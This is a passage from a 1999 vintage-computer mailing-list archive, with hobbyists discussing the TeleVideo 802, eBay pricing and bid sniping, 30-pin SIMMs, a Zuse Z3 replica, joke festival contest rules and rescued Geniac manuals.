classic computers >> >> > Subject: Televideo 802 computer? >> > Date: Tuesday, January 26, 1999 2:35 AM >> > >> > Does anyone have one of these? I found a manual for one of these >> yesterday >> > and it looks pretty cool. >> > >> > Joe >> > > From ckaiser at oa.ptloma.edu Tue Jan 26 15:35:10 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:33 2005 Subject: disks! disks! disks! In-Reply-To: <199901262124.NAA10240@oa.ptloma.edu> from "Cameron Kaiser" at Jan 26, 99 01:24:52 pm Message-ID: <199901262135.NAA04070@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 549 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/01c8dd7c/attachment.ksh From dastar at ncal.verio.com Tue Jan 26 15:30:18 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:33 2005 Subject: Classic Computer Auctions List In-Reply-To: <3.0.6.32.19990126152300.0079bbc0@mindspring.com> Message-ID: On Tue, 26 Jan 1999, Alex Knight wrote: > I can only relate what I've seen in the world o' calculators over > the last year & a half, but I believe that such a database would > accelerate the price escalation. Unfortunately much damage has > already been done in the calculator world, it would be a shame > to see the same thing happen to classic computers. Sorry to break this to you but the computer collecting world has degraded quite nicely despite the lack of a pricing guide. > Why do I say this? A couple of reasons. First, a well-known > calculator web site has a list of values observed for "internet > sales" of various calculator models. Many of the numbers are > from eBay sales. Over the past year, I've seen a _lot_ of > these calculators for sale, and invariably there are eBay > listings that point to the web site and says "the museum of XYZ > calculators says this machine is worth $100". So it gets > bid up to $110, and the next time a model comes up somebody > else says "well it was worth $110 so I'll bid $120" and so > on and so on. So it appears to me that having the data available > in such a public forum causes inflation. And undue inflation at that! Those prices are just based on what some clown was willing to pay on that day. They have no basis in relevant facts such as scarcity, and condition rarely (if ever) seems to come into play (evidenced by the recent sale of an IMSAI 8080 with a terse description and no photo). > Call me a cheapskate (because I am) but I think it's a different > matter spending big $$$ to pull a machine you want out of > somebody else's collection, vs. spending that for a machine > that was headed to the junkheap anyway. I would like to > think that someday I'll find somebody here in central NC > who's throwing out their Altair and I can get it for $100. > Won't happen if the eBay price history is easily obtained on > the Web. I've had at least a couple opportunties to get a reasonably priced Altair dashed by this very cause. And despite what people want to believe, ebay is not a "fair market", nor is any auction for that matter, virtual or physical! The prices on ebay are just not based on any reasonable valuation, only speculation and emotion. > When I started my calculator web site I thought about posting > prices for non-HP machines (as I have kept a pretty complete > history of eBay selling prices over the last year), but after > going through the thought process decided against it. For me > the key aspect of "collecting" is saving as many old machines > as I can from the scrapyard, not worrying about how much > any particular thing is worth. In all the times I've been interviewed for stories I always downplay the "value" aspect of collecting (and in fact try to avoid it altogether if possible) and am quick to put the emphasis on the historical significance and historical value of the machines, because that's all that really matters. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dpeschel at u.washington.edu Tue Jan 26 15:32:47 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:33 2005 Subject: Replica and Emulators(was: Alto II (was Re: PDP-8 prices)) In-Reply-To: <199901261532.PAA25574@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 26, 99 04:32:22 pm Message-ID: <199901262132.NAA29687@saul6.u.washington.edu> > > > Stop being a nay-sayer and just do it, Derek! That's what college is for. > > > You could win a Haggle Online Best-of-Show award this year at the VCF with > > > it! > > > You already gave me that incentive about three times, and both of those > > ideas were FAR easier. Well, building a replica of Zuse's Z-3 may not be > > easier. But my Apple ][ programming ideas are easier, and bringing my > > Marchant is MUCH easier. So why should I bother doing the difficult stuff, > > if the reward is the same? :) > > A Z3 replik ? Only functional (al relays, but modern part) or > an exact copy ? As for the functional replica it's just some > work and an awfull lot of money for the parts (my guess, some > 8000 USD), but easyer than most _exact_ emulations of complex I was thinking of a replica at the circuit-design level. Raul Rojas spoke at the last VCF about his work, which is why I came up with the idea. How did you arrive at the sum of $8000? I thought there were 600 relays in the Z3. I didn't realize relays were so expensive. I was also thinking that it might be possible to use other parts (for example, telephone parts like ferreed switches or a small crossbar module). That might require changing the design. It's possible. Bear in mind that I've never done any electronics work before. I mostly have a vague idea in my head. (A few Nixie tubes, a desktop-sized box, some keys.) -- Derek From red at bears.org Tue Jan 26 15:35:57 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:33 2005 Subject: DG Aviion input devices (was RE: HP Keyboard and cable) In-Reply-To: <5518FE2C95E6D111B1A500104B72113B0AE688@alfexc8.alf.dec.com> Message-ID: On Tue, 26 Jan 1999, Anthony Eros wrote: > I recently acquired a DG Aviion 410 minus keyboard and mouse. Does anyone > have leads on tracking these items down? Apparently any number of (although not all) standard AT-style PC keyboards will work with the machine. As far as mice go, mine looks like it's probably just a quadrature-style mouse, although my Aviion isn't working yet and I can't verify this. Note that for all their outward similarity, the DG mouse is not interchangable with a Sun mouse. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From dpeschel at u.washington.edu Tue Jan 26 15:40:48 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:33 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: <199901261839.MAA03491@thorin.cs.umn.edu> from "Lawrence LeMay" at Jan 26, 99 12:39:03 pm Message-ID: <199901262140.NAA31265@saul6.u.washington.edu> > PS: somebody tell em that 30 pin simms are going to become valueable someday ;) OK. :) You know, those 30-pin SIMMs will be valuable eventually! You should save every one you find. -- Derek From elvey at hal.com Tue Jan 26 15:43:41 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:33 2005 Subject: An observation: [was Re: Oliveti ETV 260] In-Reply-To: Message-ID: <199901262143.NAA06313@civic.hal.com> James Willing wrote: ---snip--- > > And by the way... a direct response (or at least a 'cc') is also probably > a good idea when responding to an unfamililar name offering goodies... > Not everyone who drops a message in our direction will be a 'subscriber'. Hi I apologize to anyone that is offering free colectable old computers. I surely didn't intend to offend. I don't believe I 'cc'ed the originator. I hope the unit finds a good home someplace in the UK. I thought I'd stripped any rich text before passing on but maybe I'd miss some. I'm some what new to this particular group and don't want to get off on the wrong foot. I enjoy working on these old machines and find great joy in making them actually run after other have discarded them. To keep other off topic trafic down, just email me if you have comments. Dwight From brett at xnet.com Tue Jan 26 16:04:36 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:33 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: <199901262140.NAA31265@saul6.u.washington.edu> Message-ID: On Tue, 26 Jan 1999, Derek Peschel wrote: > On Tue, 26 Jan 1999, Lawrence LeMay wrote: > > > > PS: somebody tell em that 30 pin simms are going to become valueable > > someday ;) > > OK. :) > > You know, those 30-pin SIMMs will be valuable eventually! You should save > every one you find. Ya Derek - Especially those RARE and hard to find 256K SIMMs - you betcha! BC From donm at cts.com Tue Jan 26 16:11:11 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:33 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 In-Reply-To: <36AD6B34.EA3780EF@rain.org> Message-ID: On Mon, 25 Jan 1999, Marvin wrote: > BTW, I think any experienced bidder will snipe, and I tell everyone I know > that wants to buy on ebay to snipe. I still remember driving up the price on > a Sol-20 by checking and bidding every day against someone else who wanted > it (and got it!) And that gave you great satisfaction, I take it? - don From donm at cts.com Tue Jan 26 16:35:24 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:33 2005 Subject: Televideo 802 computer? In-Reply-To: <19990126153842881.AAA260@fuj034cpc2f> Message-ID: On Tue, 26 Jan 1999, Richard Erlacher wrote: > It seems to me that the 802 was a televideo terminal with an integrated > workstation. These worked in conjunction with a server unit to run an OS > called MOST, I believe, and I have a couple of the server units, the number > of which will occur to me when I look at one again. The TS 802 was a dual 5.25" floppy desktop computer with separate keyboard. It ran CP/M or TurboDOS as a standalone, or could be used as a sattelite user station in conjunction with a server running MMMOST or TurboDOS. The server was frequently the TS 806. There was also a TS 802H that was equipped with a 10mb hard disk and only a single floppy drive. - don > These were fairly late technology, using 64k DRAMS and a 4MHz Z80A. The > servers had four or five serial ports using Z80 SIO's and either 10 or 20 > MB winchesters to go with their 5-1/4" floppies. They used the > WD1000-series HDC, which used an 8X300 microcontroller (I2L technology, > Harvard architecture) and the WD1000 5-chip set. I always admired the > packaging technology, which was first rate. > > I have to believe the workstations were up to the same standard in > convenient packaging. Televideo was late getting into the desktop > workstation market, but did it in a big way with these numbers, as they had > all you could want. The OS was purported, by some users I knew, to be > quite a bit superior to MPM, which was quite established at that time (late > '70's, early '80's). > > If anyone is interested in the server units, I can make them available, > less drives, and possibly a couple of SIO/2's which I scavenged years ago, > for the packaging/shipping cost. > > Dick > > ---------- > > From: Joe > > To: Discussion re-collecting of classic computers > > > Subject: Televideo 802 computer? > > Date: Tuesday, January 26, 1999 2:35 AM > > > > Does anyone have one of these? I found a manual for one of these > yesterday > > and it looks pretty cool. > > > > Joe > From jim at calico.litterbox.com Tue Jan 26 16:41:24 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:33 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: <199901262140.NAA31265@saul6.u.washington.edu> from "Derek Peschel" at Jan 26, 1999 01:40:48 PM Message-ID: <199901262241.PAA20230@calico.litterbox.com> 30 pin simms ARE valuable. Meg for meg the going rate for them is more than for their 72 pin counterparts. :) Seriously, if you know an apple2 GS user who wants to do a memory upgrade, alltec (www.allelec.com) has a memory board for the GS that wants 8 1meg 30 pin simms. > > > PS: somebody tell em that 30 pin simms are going to become valueable someday ;) > > OK. :) > > You know, those 30-pin SIMMs will be valuable eventually! You should save > every one you find. > > -- Derek > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From jhfine at idirect.com Tue Jan 26 16:51:20 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:33 2005 Subject: disks! disks! disks! References: <199901262135.NAA04070@oa.ptloma.edu> Message-ID: <36AE46E8.CD1D6CC5@idirect.com> >Cameron Kaiser wrote: > ::5.25" DSDD users, look sharp! > :: > ::http://www.thinkstuff.com/catalog/media/disks.htm > > Never mind. *I* need to look sharp. Sorry about that. Jerome Fine replies: It looks like he will have them eventually! So thank you! I ONLY use them as RX50 compatible in any case. I sometimes want to transfer small amounts of data (less than 1 MByte) from a PDP-11 using RT-11 to a PC using RT-11. So they are handy for that purpose. Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From dastar at ncal.verio.com Tue Jan 26 16:55:38 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:33 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: <199901262140.NAA31265@saul6.u.washington.edu> Message-ID: On Tue, 26 Jan 1999, Derek Peschel wrote: > > PS: somebody tell em that 30 pin simms are going to become valueable someday ;) > > OK. :) > > You know, those 30-pin SIMMs will be valuable eventually! You should save > every one you find. I'm sure they're valuable now to people who have old 286 or 386 motherboards that use old 30-pin SIMMs. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From kurtkilg at geocities.com Mon Jan 25 17:08:42 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:33 2005 Subject: Classic Computer Auctions List In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Sam Ismail wrote: > And undue inflation at that! Those prices are just based on what some > clown was willing to pay on that day. They have no basis in relevant Actually, it's _not_ undue inflation. The prices are always dependant on what people ask, and if there's only one vendor, the price will be whatever he damn well wants. The obvious solution is to flood the market with cheap classic computers. Wasn't there someone here who had 80 C-64s in his garage? From lemay at cs.umn.edu Tue Jan 26 17:11:53 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:34 2005 Subject: TRW Swapmeet Wants/Trades In-Reply-To: from Brett Crapser at "Jan 26, 1999 04:04:36 pm" Message-ID: <199901262311.RAA04030@thorin.cs.umn.edu> > > On Tue, 26 Jan 1999, Derek Peschel wrote: > > On Tue, 26 Jan 1999, Lawrence LeMay wrote: > > > > > > PS: somebody tell em that 30 pin simms are going to become valueable > > > someday ;) > > > > OK. :) > > > > You know, those 30-pin SIMMs will be valuable eventually! You should save > > every one you find. > > Ya Derek - Especially those RARE and hard to find 256K SIMMs - you betcha! > > BC > Unfortunately, most of my simms are 256K 30 pin simms ;) I have 2 large non-static bags full. -Lawrence LeMay From ard at p850ug1.demon.co.uk Tue Jan 26 12:56:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Doug" at Jan 25, 99 09:28:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 440 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/f8bde108/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 12:50:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <19990126020023.11746.qmail@brouhaha.com> from "Eric Smith" at Jan 26, 99 02:00:23 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 682 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/97d2e273/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 13:21:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901260452.UAA20044@saul7.u.washington.edu> from "Derek Peschel" at Jan 25, 99 08:52:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 6793 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/441b4f42/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 13:27:26 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <199901260508.VAA00084@saul7.u.washington.edu> from "Derek Peschel" at Jan 25, 99 09:08:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2173 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/609bdf89/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 13:29:16 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <36AD5261.34670F34@epix.net> from "John Amirault" at Jan 26, 99 00:28:01 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 430 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/5bae1f91/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 13:31:53 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: IBM PC-JX (was: Reiability of wrong media) In-Reply-To: <002c01be48ee$51739c20$32f665cb@default> from "Phil Guerney" at Jan 26, 99 03:38:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1145 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/c5b1638c/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 13:44:45 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: old IMSAI hardware In-Reply-To: <19990126061405258.AAA172@fuj034cpc2f> from "Richard Erlacher" at Jan 25, 99 11:00:07 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1063 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/2a5bd9ca/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 13:47:43 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Sam Ismail" at Jan 25, 99 10:03:06 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1501 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/8f071d6a/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 15:02:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: thousend K (was: Reiability of wrong media (was: is out of 5-1/4" diskettes) In-Reply-To: <199901261016.KAA19026@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 26, 99 11:16:24 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1087 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/ac46bab0/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 14:56:33 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Sam Ismail" at Jan 25, 99 11:41:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 682 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/9a196f23/attachment.ksh From dastar at ncal.verio.com Tue Jan 26 17:26:04 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:34 2005 Subject: Classic Computer Auctions List In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Max Eskin wrote: > On Mon, 25 Jan 1999, Sam Ismail wrote: > > And undue inflation at that! Those prices are just based on what some > > clown was willing to pay on that day. They have no basis in relevant > > Actually, it's _not_ undue inflation. The prices are always dependant on > what people ask, and if there's only one vendor, the price will be > whatever he damn well wants. The obvious solution is to flood the market > with cheap classic computers. Wasn't there someone here who had 80 C-64s > in his garage? Yes but we're using those for a VCF project. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Tue Jan 26 17:39:04 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Tony Duell wrote: > > > You probably _can_ maintain them. I intend to have a go at getting a > > > Daybreak working before too long. Could prove interesting. Of course the > > > time to figure out what all the chips are is when the machine is working > > > and so you can put a logic analyser on it. > > > > I have the Diagnostic manual that lists all the 4-digit diagnostic codes > > and their meanings that I should probably make a copy of for you. > > Are you sure you're thinking of a Daybreak? I don't have a diagnostic > display on my unit... Yes. The diagnostic code shows up on the CRT in the upper-righthand corner (IIRC). Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From joe at barrera.org Tue Jan 26 17:40:47 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:34 2005 Subject: And now the fine print... [Re: Alto II (was Re: PDP-8 prices...)] Message-ID: <020f01be4985$4d6cb340$11d53d9d@JOEBAR> >Well, I'm not coming to VCF, but if I was, what would the rule be for me? >Build a PERQ from a bucket of sand ? Jeez, you want everything done for you, don't you? You get an empty bucket, a pair of plastic chopsticks, and access to a beach. You can use all the sand you can get into the bucket using the chopsticks. Improper use of the chopsticks (as judged, subjectively, by Sam) results in having your bucket emptied. Any questions? From marvin at rain.org Tue Jan 26 17:47:47 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:34 2005 Subject: Ebay: Stuff & Help needed with Osborne 1 References: Message-ID: <36AE5423.3EBCF1FF@rain.org> Don Maslin wrote: > > On Mon, 25 Jan 1999, Marvin wrote: > > > BTW, I think any experienced bidder will snipe, and I tell everyone I know > > that wants to buy on ebay to snipe. I still remember driving up the price on > > a Sol-20 by checking and bidding every day against someone else who wanted > > it (and got it!) > > And that gave you great satisfaction, I take it? I thought it would go without saying that I would not have bid had I not wanted it. Having a mint Sol-20 w/ floppy drives, docs, and disks would be high on my want list. Now, I would just take note of it, and place the highest bid I was willing to pay within a minute or so of the closing time (sniping.) From mark_k at iname.com Tue Jan 26 17:45:03 1999 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:40:34 2005 Subject: Soviet BK-0010 Message-ID: On Tue, 26 Jan 1999 Andrew Davie wrote: >Just found out that I actually "have" one of these machines. It was a >surprise to me (its a long story). Anyway, it's still in Russia of course. >This computer is "the smallest analog of PDP-11". I thought I'd ask the >list if anyone has any suggestions as to ways of getting HEAVY things out of >Russia. I have lots of experience getting small calculators and slide rules >out. I'd prefer not to dismantle this thing :) If it's of any interest, there is a BK-0010 (I think that's what is is anyway) emulator for Amiga computers. It's on Aminet, I think the filename has "bkemul" in it. From memory, it comes with some software incl. a Lode Runner type game. -- Mark [Off-topic: I am trying to get hold of data sheets for the following chips: Fujitsu MB86507; Fujitsu MB86312; TI TLS1044 or TLS1043; NEC uPD4216160. *Please* contact me if you have any of these!] From dastar at ncal.verio.com Tue Jan 26 17:54:15 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Tony Duell wrote: > > That having been said, I'm now announcing a new rule for qualification to > > win an award: > > > > Section 1024.144K > > > > Anyone with the name of Derek Peschel may not win a prize by submitting an > > easy hack, such as Apple ][ Programming Ideas or anything related to the > > Marchant. Said person must submit projects that are either creating a > > microcode simulator for a Xerox D-machine (or other machines of its ilk) > > or setting up and operating a Cray 1 in the center of the VCF exhibit > > hall. Anything less will result in banishment from the premises! > > > Well, I'm not coming to VCF, but if I was, what would the rule be for me? > Build a PERQ from a bucket of sand ? Section 2048-WhoDoWeAppreciate Anyone with the initials ARD heralding from the UK may only submit projects like completely disassembling and re-assembling a 14" winchester hard disk in a normal, unfiltered room, blind-folded, with the lights off and one arm tied behind his back and still be able to have data be read from the drive. Anything less and he will be forced to repair a modern-day PC compatible 300Mhz Pentium II computer with only the original Taiwanese-produced "user's manual" as a reference. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From mark_k at iname.com Tue Jan 26 17:28:37 1999 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:40:34 2005 Subject: Alto II (was Re: PDP-8 prices Message-ID: On Tue, 26 Jan 1999 John Amirault wrote: >In order to read a PDF file you need to get " adobe acrobat reader " . Just >do a net search and you will find all the info you need. Hope this helps you. >John Amirault I think the point is that Acrobat Reader is only available for a few platforms, and if your computer isn't one of those you're stuck. (More or less.) (If the Alto manuals on the web are scanned, try asking the web page maintainer to use a standard image format instead.) -- Mark From jrkeys at concentric.net Tue Jan 26 17:56:11 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:34 2005 Subject: Televideo 802 computer? In-Reply-To: <3.0.1.16.19990126093508.46bfd362@intellistar.net> Message-ID: <000601be4987$735c6440$d2afadce@5x86jk> Yes I have back storage have not seen it seen 1997. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Joe > Sent: Tuesday, January 26, 1999 3:35 AM > To: Discussion re-collecting of classic computers > Subject: Televideo 802 computer? > > > Does anyone have one of these? I found a manual for one of these > yesterday > and it looks pretty cool. > > Joe > > From marvin at rain.org Tue Jan 26 18:14:59 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:34 2005 Subject: Geniac Manuals References: Message-ID: <36AE5A83.603E5F2@rain.org> Today, I was helping a friend clean out her garage, and among many other things were the original Geniac Manuals, "Geniacs: Simple Electric Brain Machines and How to Make Them" Copyright 1955 by Oliver Garfield along with some other Geniac related instructions and experiments. My plan at this point is to put them on ebay starting at $500 and ... NOT; just pushing buttons. It is possible that there is a Geniac still there someplace and I'll be checking that out during the next few weeks. For you people who live and die by ebay, I'd like to point out that if *I* had not been there, these manuals would have gone to the recycler. Ebay stuff almost by definition has already been rescued. Stuff like these Geniac manuals are heading to the dumpster/recycler on an almost constant basis. So far, I personally have probably rescued close to 100 cubic feet of stuff that was destined for the dumpster/recycler over the past year or so. Which is more important, complaining about ebay postings on stuff that is unlikely to be dumpstered, or actually saving stuff that WOULD go to the dumpster/recycler???? I would be the first to admit it is easier to complain. From jrkeys at concentric.net Tue Jan 26 18:29:03 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:34 2005 Subject: Computers to unload Message-ID: <000901be498c$0a977620$d2afadce@5x86jk> I'm working a school here that a large qty of Apple IIgs's to unload and is looking for a good home for them. If anyone near Minneapolis MN knows of any group that would pick these up e-mail me at jrkeys@concentric.net. Thanks From doug at blinkenlights.com Tue Jan 26 18:33:39 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:34 2005 Subject: Geniac Manuals In-Reply-To: <36AE5A83.603E5F2@rain.org> Message-ID: On Tue, 26 Jan 1999, Marvin wrote: > so. Which is more important, complaining about ebay postings on stuff that > is unlikely to be dumpstered, or actually saving stuff that WOULD go to the > dumpster/recycler???? I would be the first to admit it is easier to > complain. How about we all rescue artifacts, share them with the world, and work to keep others in our hobby from being screwed. (Why do I feel like singing Peter, Paul and Mary songs all of the sudden?) -- Doug From cmcmanis at freegate.com Tue Jan 26 18:37:36 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:34 2005 Subject: HP1000 classic? Message-ID: <4.1.19990126163424.00b5d850@mailhost.hq.freegate.com> There were a couple of HP1000 systems at the Berman auction this week, both went for $100. One had the equivalent of an RK05 in the rack. There was also a rack with an Intel 80/10 multibus system but it was just the chassis and a multibus memory card, no CPU. I actually won an auction on a SCSI 9-track tape drive (with external terminator). It is marked "5170" on the front. It is a rack mount, front loading, horizontal feed device. It claims it can do 6250 BPI. We'll see. Now to see about a program that can dissect RSX-11M BRU format tapes. --Chuck From dogas at leading.net Tue Jan 26 18:31:12 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:34 2005 Subject: reranting... Message-ID: <01be498c$5739afc0$c9c962cf@devlaptop> -----Original Message----- From: Marvin >For you people who live and die by ebay, I'd like to point out that if *I* >had not been there... I am just saddened when I contemplate the additional dumpster fodder that could have been saved were your energies spent better than at the gas pedal of ebay's search engine. ;) - Mike: dogas@leading.net From dburrows at netpath.net Tue Jan 26 18:41:33 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:40:34 2005 Subject: HP1000 classic? Message-ID: <042701be498d$e8a00490$bf281bce@tower166> >I actually won an auction on a SCSI 9-track tape drive (with external >terminator). It is marked "5170" on the front. It is a rack mount, front >loading, horizontal feed device. It claims it can do 6250 BPI. We'll see. >Now to see about a program that can dissect RSX-11M BRU format tapes. > >--Chuck > What do need from them? I have a few systems here running several different version of RSX11M+ and have some spare disk drives that I could load just about anything you wanted to retrieve. Then copy it back in many different formats including 4 or 8MM. Dan Burrows From doug at blinkenlights.com Tue Jan 26 18:49:10 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:34 2005 Subject: reranting... In-Reply-To: <01be498c$5739afc0$c9c962cf@devlaptop> Message-ID: On Tue, 26 Jan 1999, Mike wrote: > I am just saddened when I contemplate the additional dumpster fodder that > could have been saved were your energies spent better than at the gas pedal > of ebay's search engine. OK, Mike, I give up. Which famous poet are you? -- Doug :-) From kurtkilg at geocities.com Mon Jan 25 18:48:17 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:34 2005 Subject: Classic Computer Auctions List In-Reply-To: Message-ID: On Mon, 25 Jan 1999, Sam Ismail wrote: > Yes but we're using those for a VCF project. Using 80 C-64s in a single project? Heck, I'm curious... From ard at p850ug1.demon.co.uk Tue Jan 26 17:30:49 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <4.1.19990126110955.00acec10@office.ao.com> from "Gary Oliver" at Jan 26, 99 11:23:26 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1586 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/64fa3f29/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 26 17:33:13 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:34 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 In-Reply-To: <19990126195928.17379.qmail@brouhaha.com> from "Eric Smith" at Jan 26, 99 07:59:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 422 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990126/d0a45675/attachment.ksh From mopar+ at pitt.edu Tue Jan 26 19:35:00 1999 From: mopar+ at pitt.edu (Jerome Marella) Date: Sun Feb 27 18:40:34 